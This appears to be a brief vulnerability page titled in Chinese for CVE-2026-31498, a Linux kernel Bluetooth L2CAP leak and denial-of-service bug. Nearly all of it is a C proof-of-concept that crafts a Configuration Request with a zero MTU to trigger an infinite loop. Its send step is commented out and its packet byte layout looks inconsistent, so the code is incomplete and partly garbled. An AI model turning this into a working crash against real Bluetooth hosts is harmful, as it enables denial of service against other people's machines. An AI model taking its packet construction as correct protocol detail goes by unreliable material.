CVE-2026-31498 Linux内核蓝牙L2CAP内存泄漏与DoS漏洞

/* * PoC Concept: Trigger L2CAP Zero PDU Length Infinite Loop * This sends a malicious Configuration Request with max_pdu_size set to 0. */ #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> #include <sys/socket.h> #include <unistd.h> int main(int argc, char **argv) { int sock; struct sockaddr_l2 addr = {0}; char buf[128]; // Create L2CAP socket sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP); if (sock < 0) return -1; // Bind to local adapter addr.l2_family = AF_BLUETOOTH; addr.l2_bdaddr = *BDADDR_ANY; addr.l2_psm = htobs(0); bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // Construct malicious Config Req (Simplified) // Code: 0x04 (Config Req), ID: 1, Len: ... // Flags: 0x00, DCID: 0xXXXX // Option Type: 0x01 (MTU), Length: 2, Value: 0x0000 (Malicious Zero) // Note: Actual kernel space triggering requires specific channel state. buf[0] = 0x04; // Config Req buf[1] = 0x01; // Identifier buf[2] = 0x00; // Length (placeholder) buf[3] = 0x08; buf[4] = 0x00; // Flags buf[5] = 0x40; // DCID (example) buf[6] = 0x00; // Option: MTU set to 0 to trigger zero pdu_len path buf[7] = 0x01; // MTU option type buf[8] = 0x02; // Length buf[9] = 0x00; // MTU Low byte buf[10] = 0x00; // MTU High byte // Send to target (requires target address and connection state) // send(sock, buf, 11, 0); close(sock); return 0; }